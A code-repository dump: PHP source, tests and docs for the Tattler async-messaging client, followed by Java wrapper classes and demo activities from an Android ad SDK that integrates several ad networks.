self::assertInstanceOf(IChannel::class, $this->user);
}
public function test_setNameConverter_should_return_static()
{
$converter = function()
{
return "i'm just dummy closure";
};
self::assertInstanceOf(IUser::class, $this->user->setNameConverter($converter));
}
public function test_should_return_static_on_setName()
{
self::assertInstanceOf(IUser::class, $this->user->setName(uniqid(), uniqid()));
}
public function test_should_return_valid_name()
{
self::assertEquals($this->userName, $this->user->getName());
}
public function test_setSocketId_should_return_static()
{
self::assertInstanceOf(IUser::class, $this->user->setSocketId(uniqId()));
}
public function test_getSocketId_should_return_socketId()
{
$socketId = uniqid();
$this->user->setSocketId($socketId);
self::assertEquals($socketId, $this->user->getSocketId());
}
public function test_getSocketId_without_socketId_should_throw_exception()
{
self::expectException(\Exception::class);
$this->user->getSocketId();
}
public function test_user_with_socketId_always_have_name()
{
$user = new User();
$user->setSocketId(uniqid());
self::assertNotEmpty($user->getName());
}
public function test_user_without_name_throws_exception()
{
$user = new User();
self::expectException(\Exception::class);
$user->getName();
}
}
<file_sep><?php
namespace Tattler\Decorators\Network;
use GuzzleHttp\Client;
use GuzzleHttp\Psr7\Request;
use GuzzleHttp\Psr7\Response;
use Tattler\Base\Decorators\INetworkDecorator;
use Tattler\Exceptions\TattlerNetworkException;
/**
* Class GuzzleDecorator
*/
class GuzzleDecorator implements INetworkDecorator
{
/** @var Client $client */
private $client;
/**
* GuzzleDecorator constructor.
*/
public function __construct()
{
$this->client = new Client(['headers' => ['Content-Type' => 'application/json']]);
}
/**
* @param array $tattlerBag
* @return bool
*/
public function sendPayload(array $tattlerBag): bool
{
$request = new Request('POST', $tattlerBag['tattlerUri'], ['connect_timeout' => $tattlerBag['timeout']]);
$promise = $this->client->sendAsync($request, ['json' => $tattlerBag['payload'] ]);
$promise->wait(false);
return true;
}
public function syncChannels(array $tattlerBag): ?array
{
$request = new Request('POST', $tattlerBag['tattlerUri']);
$syncChannelsCallback = function (Response $response) {
try
{
$result = json_decode($response->getBody()->getContents());
return $result->rooms;
}
catch(\Exception $e)
{
throw new TattlerNetworkException($response->getBody()->getContents());
}
};
$promise = $this->client
->sendAsync($request, ['json' => $tattlerBag['payload'] ])
->then($syncChannelsCallback);
return $promise->wait();
}
}<file_sep># Tattler PHP client
[](https://travis-ci.org/Oktopost/Tattler-php)
[](https://coveralls.io/github/Oktopost/Tattler-php?branch=master)
[](https://github.com/Oktopost/Tattler-php/blob/master/LICENSE)
Send async messages to your users using [Tattler](https://github.com/grohman/tattler)
- [Simple example project](https://github.com/grohman/tattler-php-chat-example)
## Installation
```bash
$ composer require oktopost/tattler-php
```
Or add to `composer.json`:
```json
"require": {
"oktopost/tattler-php": "^1.0"
}
```
and then run `composer update`.
## Setup
```php
$config = new TattlerConfig();
$tattlerConfig->fromArray([
'WsAddress' => 'TATTLER_WEBSOCKET_ADDRESS',
'ApiAddress' => 'TATTLER_API_ADDRESS',
'Namespace' => 'YOUR APPLICATION_NAME',
'Secret' => 'TATTLER_SECRET',
'TokenTTL' => 'USER_TOKEN_TTL',
'DBDecorator' => new RedisDecorator(),
'NetworkDecorator' => new CurlDecorator()
]);
/** @var ITattlerModule::class $tattler */
$tattler = Tattler::getInstance($tattlerConfig);
```
_note: for using redis db decorator you need to install [predis](https://github.com/nrk/predis)_
* TATTLER_WEBSOCKET_ADDRESS - websocket transport address e.g. ws://websocket.domain.tld:80 or wss://websocket.domain.tld:443
* TATTLER_API_ADDRESS - api address e.g. http://websocket.domain.tld:80 or https://websocket.domain.tld:443
* YOUR APPLICATION_NAME - namespace for your application. You can use same tattler server with multiple applications.
* TATTLER_SECRET - same secret that was defined in tattler-server configuration
* USER_TOKEN_TTL - time in seconds for users auth tokens used with tattler-server
Then create TattlerController available from your website. See example in [DummyControllerExample](https://github.com/Oktopost/Tattler-php/blob/master/controller/DummyControllerExample.php)
_note: all methods from that controller should response with JSON body_
When php configuration is done, include [tattler.min.js](https://github.com/Oktopost/Tattler-js) to your html and initialize tattler
```javascript
window.tattler = TattlerFactory.create();
```
## Usage
Setup listener in your js code
```javascript
window.tattler.addHandler('myMessage', 'globalNamespace', function(data){
alert(data.message);
});
```
Send payload to all users from php
```php
/** var ITattlerMessage::class $message */
$message = new TattlerMessage();
$message->setHandler('myMessage')->setNamespace('globalNamespace')->setPayload(['message' => 'Hello world']]);
$tattler->message($message)->broadcast()->say();
```
See more docs in [docs/](docs/README.md)
<file_sep><?php
namespace Tattler\Decorators\DB;
use Tattler\Base\Decorators\IDBDecorator;
use Tattler\Objects\TattlerAccess;
use Squid\Objects\IObjectConnector;
class SquidDecorator implements IDBDecorator
{
/** @var IObjectConnector */
private $db;
/** @var string */
private $tableName;
private function getAccessFields(TattlerAccess $access): array
{
return [
'UserToken' => $access->UserToken,
'Channel' => $access->Channel,
];
}
public function __construct(IObjectConnector $connector, string $tableName)
{
$this->db = $connector;
$this->tableName = $tableName;
}
public function insertAccess(TattlerAccess $access, int $ttl): bool
{
return $this->db->insert($access);
}
public function updateAccessTTL(TattlerAccess $access, int $newTTL): bool
{
return $this->db->updateByFields([
'Modified' => (new \DateTime())->format('Y-m-d H:i:s')
], $this->getAccessFields($access));
}
public function accessExists(TattlerAccess $access): bool
{
return $this->db->loadOneByFields($this->getAccessFields($access)) != false;
}
public function deleteAccess(TattlerAccess $access): bool
{
return $this->db->deleteByFields($this->getAccessFields($access));
}
public function loadAllChannels(string $userToken, bool $unlock = true): array
{
/** @var TattlerAccess[] $result */
$result = $this->db->loadAllByFields([
'UserToken' => $userToken,
'IsLocked' => 0
]);
if ($unlock) {
$this->db->updateByFields([
'IsLocked' => 0
], [
'UserToken' => $userToken,
'IsLocked' => 1
]);
}
return $result;
}
public function removeGarbage(int $maxTTL): bool
{
$date = (new \DateTime())->modify(-$maxTTL.' seconds');
return $this->db->getConnector()
->delete()
->from($this->tableName)
->where('Modified <= ?', [$date->format('Y-m-d H:i:s')])
->executeDml();
}
public function lock(TattlerAccess $access): bool
{
return $this->db->updateByFields([
'IsLocked' => 1
], $this->getAccessFields($access));
}
public function unlock(TattlerAccess $access): bool
{
return $this->db->updateByFields([
'IsLocked' => 0
], $this->getAccessFields($access));
}
}<file_sep># Tattler broadcast
This is very special predefined room, available for all users within your website.
You can't add or remove users from that room. If you don't want to send broadcast messages to your users - just don't use it.<file_sep><?php
namespace Tattler\Channels;
use Tattler\Base\Channels\IChannel;
/**
* Class Broadcast
* Channel for all connected users
*/
class Broadcast implements IChannel
{
const BROADCAST_NAME = 'broadcast';
/**
* @return static
*/
public function setName(...$channelNameArgs)
{
return $this;
}
public function getName(): string
{
return self::BROADCAST_NAME;
}
}<file_sep># Tattler user
Any tattler user represents a predictable string, generated by unique user information.
```php
/** @var IUser $user */
$user = new User();
$user->setName('anything', 'uniq', 'with', 'any', 'other', 'args'); // will generate '921757b2-14b3-544d-b29c-9dcb9c61431f'
```
For defining current user (i.e. the one who is currently requesting channels) you must set his socket id and
pass him to tattler instance
```php
$user->setSocketId($socketId);
$tattler->setUser($user);
```
**It is really important to define current user. As long as you want to send different messages to different users**
<file_sep><?php
namespace Tattler\Objects;
use Objection\LiteObject;
use Objection\LiteSetup;
/**
* @property string $Created
* @property string $Modified
* @property string $UserToken
* @property string $Channel
* @property bool $IsLocked
*/
class TattlerAccess extends LiteObject
{
/**
* @return array
*/
protected function _setup()
{
return [
'Created' => LiteSetup::createString(),
'Modified' => LiteSetup::createString(),
'UserToken' => LiteSetup::createString(),
'Channel' => LiteSetup::createString(),
'IsLocked' => LiteSetup::createBool(false)
];
}
/**
* TattlerAccess constructor.
*/
public function __construct()
{
parent::__construct();
$now = (new \DateTime())->format('Y-m-d H:i:s');
$this->Created = $now;
$this->Modified = $now;
}
}<file_sep><?php
namespace Tattler\DAL;
use Tattler\Base\Channels\IRoom;
use Tattler\Base\DAL\ITattlerAccessDAO;
use Tattler\Base\Decorators\IDBDecorator;
use Tattler\Channels\Room;
use Tattler\Objects\TattlerAccess;
class TattlerAccessDAO implements ITattlerAccessDAO
{
private const DATA_TTL = 604800; // week
/** @var IDBDecorator $decorator */
private $decorator;
public function setDBDecorator(IDBDecorator $dbDecorator): void
{
$this->decorator = $dbDecorator;
$this->removeOld();
}
public function allow(TattlerAccess $access): bool
{
$exists = $this->exists($access);
if ($exists)
{
$this->decorator->unlock($access);
return $this->decorator->updateAccessTTL($access, self::DATA_TTL);
}
else
{
return $this->decorator->insertAccess($access, self::DATA_TTL);
}
}
public function exists(TattlerAccess $access): bool
{
return $this->decorator->accessExists($access);
}
public function deny(TattlerAccess $access): bool
{
if (!$this->exists($access))
return true;
return $this->decorator->deleteAccess($access);
}
public function loadAllChannels(string $userToken, bool $unlock = true): array
{
$result = [];
/** @var TattlerAccess[] $query */
$query = $this->decorator->loadAllChannels($userToken, $unlock);
if (!$query)
return $result;
$keepAliveAfter = strtotime('now') - self::DATA_TTL;
/** @var TattlerAccess $item */
foreach ($query as $item)
{
if (strtotime($item->Modified) < $keepAliveAfter)
{
$this->decorator->deleteAccess($item);
continue;
}
/** @var IRoom $room */
$room = new Room();
$room->setName($item->Channel);
$result[] = $room;
}
return $result;
}
public function loadAllChannelNames(string $userToken, bool $unlock = true): array
{
$result = [];
/** @var TattlerAccess[] $query */
$query = $this->decorator->loadAllChannels($userToken, $unlock);
if (!$query)
return $result;
$keepAliveAfter = strtotime('now') - self::DATA_TTL;
foreach ($query as $item)
{
if (strtotime($item->Modified) < $keepAliveAfter)
{
$this->decorator->deleteAccess($item);
continue;
}
$result[] = $item->Channel;
}
return $result;
}
public function lock(TattlerAccess $access): bool
{
return $this->decorator->lock($access);
}
public function removeOld(): bool
{
return $this->decorator->removeGarbage(self::DATA_TTL);
}
}<file_sep><?php
namespace Tests\Tattler\Modules;
use Tattler\Tattler;
use Tattler\Base\Channels\IRoom;
use Tattler\Base\Modules\ITattlerModule;
use Tattler\Base\Channels\IChannel;
use Tattler\Base\Objects\ITattlerMessage;
use Tattler\Objects\TattlerMessage;
use Tattler\Channels\Room;
use Tattler\Channels\User;
use Tattler\Channels\Broadcast;
use PHPUnit\Framework\TestCase;
use Tattler\TattlerScope;
class TattlerTest extends TestCase
{
/** @var ITattlerModule $tattler */
private $tattler;
private $instanceName;
/**
* @return ITattlerMessage
*/
private function getDummyMessage()
{
/** @var ITattlerMessage $message */
$message = new TattlerMessage();
$message
->setHandler('handler')
->setNamespace('global')
->setPayload(['some', 'random', 'data']);
return $message;
}
protected function setUp()
{
parent::setUp();
$this->instanceName = uniqid();
$this->tattler = Tattler::getInstance(getConfig(), $this->instanceName);
}
public function test_setConfig_should_return_static()
{
self::assertInstanceOf(ITattlerModule::class, $this->tattler->setConfig(getConfig()));
}
public function test_loader_should_store_configuration()
{
self::assertInstanceOf(ITattlerModule::class, Tattler::load($this->instanceName));
}
public function test_loader_should_return_null_for_unknown()
{
self::assertNull(Tattler::load(uniqid()));
}
public function test_tattlerScope_contains_skeleton()
{
self::assertInstanceOf(\Skeleton\Skeleton::class, TattlerScope::skeleton());
}
public function test_getWsAddress_should_return_WS_address()
{
$result = $this->tattler->getWsAddress();
self::assertEquals('ws://localhost.domain.tld', $result);
}
public function test_getSavedChannels_should_return_array()
{
self::assertTrue(is_array($this->tattler->getSavedChannels(getDummyUser())));
}
public function test_getSavedChannel_should_return_IChannel_array()
{
$user = getDummyUser();
$room = getDummyRoom();
$room->setName(uniqId());
$this->tattler->allowAccess($room, $user);
$result = $this->tattler->getSavedChannels($user);
self::assertNotEmpty($result);
foreach ($result as $channel)
{
self::assertInstanceOf(IChannel::class, $channel);
}
}
public function test_getDefaultChannels_should_return_default_channel_names()
{
$user = getDummyUser();
$expected = [
$user->getName(),
Broadcast::BROADCAST_NAME
];
self::assertEquals($expected, $this->tattler->getDefaultChannels($user));
}
public function test_getChannels_should_return_array_of_string()
{
$user = getDummyUser();
$user->setSocketId(uniqid());
$result = $this->tattler->setUser($user)->getChannels();
self::assertNotEmpty($result);
foreach ($result as $value)
{
self::assertTrue(is_string($value));
}
}
public function test_getChannels_with_filter_should_return_filtered_array()
{
$user = getDummyUser();
$user->setSocketId(uniqid());
/** @var IRoom $room */
$room = getDummyRoom()->setName(uniqId());
/** @var IRoom $room2 */
$room2 = getDummyRoom()->setName(uniqId());
$this->tattler->allowAccess($room, $user);
$this->tattler->allowAccess($room2, $user);
$filter = [$room->getName()];
$result = $this->tattler->setUser($user)->getChannels($filter);
foreach ($result as $value)
{
self::assertTrue($value !== $room2->getName());
}
}
public function test_allow_access_takes_current_user_by_default()
{
$user = getDummyUser();
$user->setSocketId(uniqid());
$this->tattler->setUser($user);
$room = new Room();
$room->setName(uniqid());
self::assertTrue($this->tattler->allowAccess($room));
}
public function test_deny_access_takes_current_user_by_default()
{
$user = getDummyUser();
$user->setSocketId(uniqid());
$this->tattler->setUser($user);
$room = new Room();
$room->setName(uniqid());
$this->tattler->allowAccess($room);
self::assertTrue($this->tattler->isAllowed($room, $user));
self::assertTrue($this->tattler->denyAccess($room));
self::assertFalse($this->tattler->isAllowed($room, $user));
}
public function test_isAllowed_takes_current_user_by_default()
{
$user = getDummyUser();
$user->setSocketId(uniqid());
$this->tattler->setUser($user);
$room = new Room();
$room->setName(uniqid());
$this->tattler->allowAccess($room);
self::assertTrue($this->tattler->isAllowed($room));
$this->tattler->setUser((new User())->setName(uniqid()));
self::assertFalse($this->tattler->isAllowed($room));
}
public function test_setUser_should_return_static()
{
self::assertInstanceOf(ITattlerModule::class, $this->tattler->setUser(getDummyUser()));
}
public function test_set_broadcast_target_should_return_static()
{
self::assertInstanceOf(ITattlerModule::class, $this->tattler->broadcast());
}
public function test_set_room_target_should_return_static()
{
$room = getDummyRoom();
$room->setName(uniqId());
self::assertInstanceOf(ITattlerModule::class, $this->tattler->room($room));
}
public function test_set_room_target_without_name_should_throw_exception()
{
self::expectException(\Exception::class);
$this->tattler->room(getDummyRoom());
}
public function test_set_user_target_should_return_static()
{
self::assertInstanceOf(ITattlerModule::class, $this->tattler->user(getDummyUser()));
}
public function test_set_message_should_return_static()
{
$message = $this->getDummyMessage();
self::assertInstanceOf(ITattlerModule::class, $this->tattler->message($message));
}
public function test_say_should_return_true()
{
$this->tattler->broadcast()->message($this->getDummyMessage());
self::assertTrue($this->tattler->say());
}
public function test_MessageAlwaysContainsDefaultNamespace()
{
$message = $this->getDummyMessage();
$message->setNamespace(null);
$array = $message->toArray();
self::assertSame($array['namespace'], ITattlerMessage::DEFAULT_NAMESPACE);
}
public function test_getTokenReturnString()
{
$result = $this->tattler->getJWTToken();
self::assertTrue(is_string($result));
self::assertNotEmpty($result);
}
public function test_SetConfigValueReturnTrue()
{
self::assertTrue($this->tattler->setConfigValue('Namespace', 'Test2'));
}
public function test_SetConfigValueReturnFalse()
{
self::assertFalse($this->tattler->setConfigValue('fake', 'Test'));
}
}
|
1eb8a1d5d69a60a06dfe265091fd674a5e1aaeca
|
[
"Markdown",
"SQL",
"PHP"
] | 47
|
PHP
|
Oktopost/Tattler-php
|
b3e59d6c1537de4de7c4353c9abcf5a50c486d1f
|
3448e9a99c5e3c155e2d92f37563cdf9c60c434d
|
refs/heads/master
|
<file_sep>package com.tuiyi.allin.third.jsdk;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.AdErrorCode;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.splashad.CustomSplashAd;
import org.json.JSONException;
import org.json.JSONObject;
import cn.imeiadx.jsdk.jy.mob.JyAd;
import cn.imeiadx.jsdk.jy.mob.JyAdListener2;
import cn.imeiadx.jsdk.jy.mob.JyNative;
import cn.imeiadx.jsdk.jy.mob.JySplashAd;
/**
* 推易闪屏
*
* @author liuhuijie
* @date 2020/11/16
*/
public class JsdkSplashAd extends CustomSplashAd {
private JySplashAd mJySplashAd;
private JyAdListener2 mJyAdListener2;
public JsdkSplashAd() {
}
@Override
public void loadAd() {
if (mAdConfig.json == null) {
notifyAdFail(new AdError(AdErrorCode.NO_AD_ERROR, "无广告"));
return;
}
if (mAdConfig.showTime <= 0) {
mAdConfig.showTime = 15;
}
mJyAdListener2 = new JyAdListener2() {
@Override
public void onADClicked() {
super.onADClicked();
notifyAdClick();
}
@Override
public void onADExposure() {
super.onADExposure();
notifyAdShow();
}
@Override
public void onADReceive(JyNative jyNative) {
super.onADReceive(jyNative);
}
@Override
public void onNoAD(String err) {
super.onNoAD(err);
notifyAdFail(new AdError(0, err));
}
@Override
public void onClosed() {
super.onClosed();
notifyAdClose();
}
@Override
public void onADReceive() {
super.onADReceive();
notifyAdReady();
}
};
mJySplashAd = JyAd.getSplashAd(mActivity, null, mAdConfig.width, mAdConfig.height, mAdConfig.showTime,mViewContainer, mJyAdListener2);
//mJySplashAd = new JySplashAd(mActivity, mAdConfig.thirdPid, -1, -1, mAdConfig.showTime, mJyAdListener2);
JSONObject jsonObject = null;
try {
jsonObject = new JSONObject(mAdConfig.json);
} catch (JSONException e) {
e.printStackTrace();
notifyAdFail(new AdError(AdErrorCode.PARSE_ERROR, "解析失败"));
return;
}
mJySplashAd.loadAd(jsonObject);
}
@Override
public void showAd() {
if (mJySplashAd == null || !mJySplashAd.hasAd()) {
return;
}
mJySplashAd.showAd();
}
@Override
public void destroyAd() {
// JyAd.exit();
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep>package com.tuiyi.allin.third.tt;
import android.view.View;
import com.bytedance.sdk.openadsdk.AdSlot;
import com.bytedance.sdk.openadsdk.FilterWord;
import com.bytedance.sdk.openadsdk.TTAdConstant;
import com.bytedance.sdk.openadsdk.TTAdDislike;
import com.bytedance.sdk.openadsdk.TTAdNative;
import com.bytedance.sdk.openadsdk.TTAppDownloadListener;
import com.bytedance.sdk.openadsdk.TTNativeExpressAd;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.nativead.CustomNativeAd;
import com.tuiyi.allin.utlis.AllInLog;
import java.util.List;
/**
* @author liuhuijie
* @date 12/21/20
*/
public class TTNativeAd extends CustomNativeAd {
private TTNativeExpressAd mTTAd;
private TTAdNative mTTAdNative;
public TTNativeAd() {
}
@Override
public void loadAd() {
TTAdManagerHolder.init(mActivity.getApplication(), mAdConfig.appId);
//step2:创建TTAdNative对象,createAdNative(Context context) banner广告context需要传入Activity对象
mTTAdNative = TTAdManagerHolder.get().createAdNative(mActivity);
//step3:(可选,强烈建议在合适的时机调用):申请部分权限,如read_phone_state,防止获取不了imei时候,下载类广告没有填充的问题。
TTAdManagerHolder.get().requestPermissionIfNecessary(mActivity);
loadExpressAd(mAdConfig.thirdPid, mAdConfig.width, mAdConfig.height);
}
@Override
public void showAd() {
if (mTTAd != null) {
mTTAd.render();
} else {
AllInLog.i("请先加载广告");
}
}
@Override
public void destroyAd() {
if (mTTAd != null) {
mTTAd.destroy();
}
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
private void loadExpressAd(String codeId, int width, int height) {
mViewContainer.removeAllViews();
//step4:创建广告请求参数AdSlot,具体参数含义参考文档
AdSlot adSlot = new AdSlot.Builder()
.setCodeId(codeId) //广告位id
.setAdCount(1) //请求广告数量为1到3条
.setExpressViewAcceptedSize(width, height) //期望模板广告view的size,单位dp
.build();
//step5:请求广告,对请求回调的广告作渲染处理
mTTAdNative.loadNativeExpressAd(adSlot, new TTAdNative.NativeExpressAdListener() {
@Override
public void onError(int code, String message) {
mViewContainer.removeAllViews();
notifyAdFail(new AdError(code, message));
}
@Override
public void onNativeExpressAdLoad(List<TTNativeExpressAd> ads) {
if (ads == null || ads.size() == 0) {
return;
}
mTTAd = ads.get(0);
bindAdListener(mTTAd);
startTime = System.currentTimeMillis();
notifyAdReady();
}
});
}
private long startTime = 0;
private boolean mHasShowDownloadActive = false;
private void bindAdListener(TTNativeExpressAd ad) {
ad.setExpressInteractionListener(new TTNativeExpressAd.ExpressAdInteractionListener() {
@Override
public void onAdClicked(View view, int type) {
notifyAdClick();
}
@Override
public void onAdShow(View view, int type) {
notifyAdShow();
}
@Override
public void onRenderFail(View view, String msg, int code) {
notifyAdFail(new AdError(code, msg));
}
@Override
public void onRenderSuccess(View view, float width, float height) {
mViewContainer.removeAllViews();
mViewContainer.addView(view);
}
});
//dislike设置
bindDislike(ad, false);
if (ad.getInteractionType() != TTAdConstant.INTERACTION_TYPE_DOWNLOAD) {
return;
}
ad.setDownloadListener(new TTAppDownloadListener() {
@Override
public void onIdle() {
}
@Override
public void onDownloadActive(long totalBytes, long currBytes, String fileName, String appName) {
if (!mHasShowDownloadActive) {
mHasShowDownloadActive = true;
}
}
@Override
public void onDownloadPaused(long totalBytes, long currBytes, String fileName, String appName) {
}
@Override
public void onDownloadFailed(long totalBytes, long currBytes, String fileName, String appName) {
}
@Override
public void onInstalled(String fileName, String appName) {
}
@Override
public void onDownloadFinished(long totalBytes, String fileName, String appName) {
}
});
}
/**
* 设置广告的不喜欢,注意:强烈建议设置该逻辑,如果不设置dislike处理逻辑,则模板广告中的 dislike区域不响应dislike事件。
*
* @param ad
* @param customStyle 是否自定义样式,true:样式自定义
*/
private void bindDislike(TTNativeExpressAd ad, boolean customStyle) {
if (customStyle) {
//使用自定义样式
List<FilterWord> words = ad.getFilterWords();
if (words == null || words.isEmpty()) {
return;
}
final DislikeDialog dislikeDialog = new DislikeDialog(mActivity, words);
dislikeDialog.setOnDislikeItemClick(new DislikeDialog.OnDislikeItemClick() {
@Override
public void onItemClick(FilterWord filterWord) {
//屏蔽广告
//用户选择不喜欢原因后,移除广告展示
mViewContainer.removeAllViews();
}
});
ad.setDislikeDialog(dislikeDialog);
return;
}
//使用默认模板中默认dislike弹出样式
ad.setDislikeCallback(mActivity, new TTAdDislike.DislikeInteractionCallback() {
@Override
public void onSelected(int position, String value) {
//用户选择不喜欢原因后,移除广告展示
mViewContainer.removeAllViews();
}
@Override
public void onCancel() {
}
@Override
public void onRefuse() {
}
});
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep>package com.tuiyi.test.banner;
import android.app.Activity;
import android.content.Intent;
import android.view.ViewGroup;
import com.tuiyi.allin.core.AdConfig;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.user.AllInAdListener;
import com.tuiyi.allin.user.AllInBannerAd;
import com.tuiyi.allin.utlis.AllInToast;
import com.tuiyi.test.R;
import com.tuiyi.test.base.BaseAdActivity;
/**
* 横幅广告
*
* @author liuhuijie
* @date 12/24/20
*/
public class BannerAdActivity extends BaseAdActivity {
private AllInBannerAd mAllInBannerAd;
private ViewGroup mViewContain;
public static void startActivity(Activity activity) {
Intent intent = new Intent(activity, BannerAdActivity.class);
activity.startActivity(intent);
}
@Override
protected int getLayoutId() {
return R.layout.activity_banner;
}
@Override
protected void initView() {
super.initView();
mViewContain = findViewById(R.id.llContainer);
findViewById(R.id.tvLoad).setOnClickListener(
view -> showAd()
);
}
@Override
protected void initData() {
initAd(TYPE_BANNER);
}
public void showAd() {
super.showAd();
saveAd(TYPE_BANNER);
AdConfig adConfig = new AdConfig.Builder()
.setPlaceId(mPid)
.setWidth(mWidth)
.setHeight(mHeight)
.build();
mAllInBannerAd = new AllInBannerAd(this, mViewContain, adConfig, new AllInAdListener() {
@Override
public void onAdFailed(AdError error) {
AllInToast.show(BannerAdActivity.this, error.getMessage());
}
@Override
public void onAdClick() {
}
@Override
public void onAdReady() {
mAllInBannerAd.showAd();
}
@Override
public void onAdShow() {
}
@Override
public void onAdClose() {
}
});
}
@Override
protected void onDestroy() {
super.onDestroy();
if (mAllInBannerAd != null) {
mAllInBannerAd.destroyAd();
}
}
}
<file_sep>package com.tuiyi.allin.third.gdt;
import com.qq.e.ads.interstitial2.UnifiedInterstitialAD;
import com.qq.e.ads.interstitial2.UnifiedInterstitialADListener;
import com.qq.e.comm.util.AdError;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.insertad.CustomInsertAd;
import com.tuiyi.allin.utlis.AllInLog;
/**
* 广点通 插屏
*
* @author liuhuijie
* @date 12/21/20
*/
public class GdtInsertAd extends CustomInsertAd {
private UnifiedInterstitialAD mInsertAd;
public GdtInsertAd() {
}
@Override
public void loadAd() {
GdtAdManagerHolder.init(mActivity.getApplication(), mAdConfig.appId);
mInsertAd = new UnifiedInterstitialAD(mActivity, mAdConfig.thirdPid, new UnifiedInterstitialADListener() {
@Override
public void onADClicked() {
notifyAdClick();
}
@Override
public void onADClosed() {
notifyAdClose();
}
@Override
public void onADExposure() {
notifyAdShow();
}
@Override
public void onADLeftApplication() {
}
@Override
public void onADOpened() {
}
@Override
public void onADReceive() {
notifyAdReady();
}
@Override
public void onNoAD(AdError adError) {
AllInLog.i(adError.getErrorMsg() + "==" + adError.getErrorCode());
notifyAdFail(new com.tuiyi.allin.core.AdError(adError.getErrorCode(), adError.getErrorMsg()));
}
@Override
public void onVideoCached() {
}
});
mInsertAd.loadAD();
}
@Override
public void showAd() {
if (mInsertAd != null) {
mInsertAd.show();
}
}
@Override
public void destroyAd() {
if (mInsertAd != null) {
mInsertAd.destroy();
}
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep>package com.tuiyi.allin.third.qy;
import android.view.ViewGroup;
import android.widget.FrameLayout;
import com.mcto.sspsdk.IQYNative;
import com.mcto.sspsdk.IQySplash;
import com.mcto.sspsdk.QyAdSlot;
import com.mcto.sspsdk.QyClient;
import com.mcto.sspsdk.QyClientInfo;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.AdErrorCode;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.splashad.CustomSplashAd;
import com.tuiyi.allin.oaid.OAIdManager;
/**
* 爱奇艺开屏
* @author liuhuijie
* @date 1/27/21
*/
public class QySplashAd extends CustomSplashAd {
private IQYNative adNative;
public QySplashAd(){
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
@Override
public void loadAd() {
// mAdConfig.appId="1631902583015428";
// mAdConfig.thirdPid="1628916542140418";
QyAdManagerHolder.init(mActivity,mAdConfig.appId);
QyClient qyClient = QyAdManagerHolder.get();
//设置用户属性,全局的
qyClient.setClientInfo(QyClientInfo.newQyAdsClientInfo()
//设置经纬度信息,可选
// .latitude(55)
// .longitude(48)
//设置OAID,需要app接入信通院的SDK,强烈建议设置此值
.oaid(OAIdManager.getOAId(mActivity))
//设置用户的年龄区间,可选
// .userAge(601)
//设置用户的性别,可选
// .userSex(FEMALE)
.build());
adNative = qyClient.createAdNative(mActivity);
//设置广告位属性
QyAdSlot slot = QyAdSlot.newQyAdSlot()
//是否支持开机屏广告预请求功能,开启该功能时,SDK会提前预缓存少量开机屏广告素材
//.supportPreRequest("1".equals(SharedPreferencesFactory.get(this).get("splashSupportPreRequest")))
//广告位id
.codeId(mAdConfig.thirdPid)
//开机屏底部logo
// .splashLogo(R.drawable.ic_launcher_foreground)
//开机屏广告请求超时时长,不设置的话,SDK默认3秒,开启预请求时建议不少于1.3秒,不开启预请求时建议不少于3秒
.timeout(3000)
.build();
//请求广告
adNative.loadSplashAd(slot, new IQYNative.SplashAdListener() {
@Override
public void onError(int var1) {
notifyAdFail(new AdError(AdErrorCode.THIRD_UNKNOWN_ERROR,"qyError"+var1));
}
@Override
public void onTimeout() {
notifyAdFail(new AdError(AdErrorCode.TIME_OUT_ERROR,"qy请求超时"));
}
@Override
public void onSplashAdLoad(IQySplash var1) {
mViewContainer.removeAllViews();
mViewContainer.addView(var1.getSplashView(), new FrameLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.MATCH_PARENT
));
var1.setSplashInteractionListener(new IQySplash.IAdInteractionListener() {
@Override
public void onAdClick() {
notifyAdClick();
}
@Override
public void onAdShow() {
notifyAdShow();
}
@Override
public void onAdSkip() {
notifyAdClose();
}
@Override
public void onAdTimeOver() {
notifyAdClose();
}
});
}
});
}
@Override
public void showAd() {
}
@Override
public void destroyAd() {
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
}
<file_sep>package com.tuiyi.allin.core.net;
/**
* @author liuhuijie
* @date 2020/11/20
*/
public interface AdNetworkListener {
void onAdRequestSuccess();
void onAdRequestFail();
}
<file_sep>include ':allin'
include ':app'
rootProject.name = "AllInDemo"<file_sep>package com.tuiyi.allin.third.qy;
import android.content.Context;
import com.mcto.sspsdk.QyClient;
import com.mcto.sspsdk.QySdk;
import com.mcto.sspsdk.QySdkConfig;
import com.tuiyi.allin.utlis.SysInfoUtils;
/**
* 爱奇艺sdk初始化管理
* @author liuhuijie
* @date 1/27/21
*/
public class QyAdManagerHolder {
private static boolean sInit;
public static QyClient get() {
if (!sInit) {
throw new RuntimeException("QySdk is not init, please check.");
}
return QySdk.getAdClient();
}
static void init(Context context,String appId) {
if (!sInit) {
QySdk.init(context, buildConfig(appId, SysInfoUtils.getAppName(context)));
sInit = true;
}
}
private static QySdkConfig buildConfig(String appId,String appName) {
return QySdkConfig.newAdConfig()
//测试用媒体id,接入方填从平台申请到的媒体id
.appId(appId)
.appName(appName)
.debug(true)
.build();
}
}
<file_sep>package com.tuiyi.test.nativead;
import android.app.Activity;
import android.content.Intent;
import android.view.ViewGroup;
import com.tuiyi.allin.core.AdConfig;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.user.AllInAdListener;
import com.tuiyi.allin.user.AllInNativeAd;
import com.tuiyi.allin.utlis.AllInToast;
import com.tuiyi.test.R;
import com.tuiyi.test.base.BaseAdActivity;
/**
* 原生广告
*
* @author liuhuijie
* @date 12/24/20
*/
public class NativeAdActivity extends BaseAdActivity {
private AllInNativeAd mAllInNativeAd;
